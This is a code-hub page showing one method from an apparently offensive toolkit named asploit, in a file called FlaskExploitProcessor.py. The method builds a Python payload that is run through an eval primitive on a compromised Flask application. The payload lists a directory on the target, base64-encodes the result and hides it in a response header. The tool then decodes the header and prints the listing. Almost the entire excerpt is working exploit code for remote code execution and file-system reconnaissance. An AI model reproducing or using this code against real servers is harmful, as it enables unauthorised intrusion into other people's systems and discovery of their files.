MCPcopy Create free account
hub / github.com/Geeoon/asploit / _Base__ls

Method _Base__ls

src/FlaskExploitProcessor.py:115–125  ·  view source on GitHub ↗
(self, options: str)

Source from the content-addressed store, hash-verified

113 @brief See base class for details.
114 """
115 def _Base__ls(self, options: str):
116 directory = f"'{options}'" if options else ''
117 res = self.__eval(
118 f"try:\n"
119 f"\tr.headers['{self.header}']=__import__('base64').b64encode("
120 f"' '.join(__import__('os').listdir({directory})).encode()"
121 f");\n"
122 f"except Exception as e:\n"
123 f"\tr.headers['{self.header}']=__import__('base64').b64encode("
124 f"str(e).encode());")
125 print(base64.b64decode(res).decode())
126
127 """
128 @brief See base class for details.

Callers

nothing calls this directly

Calls 1

__evalMethod · 0.95

Tested by

no test coverage detected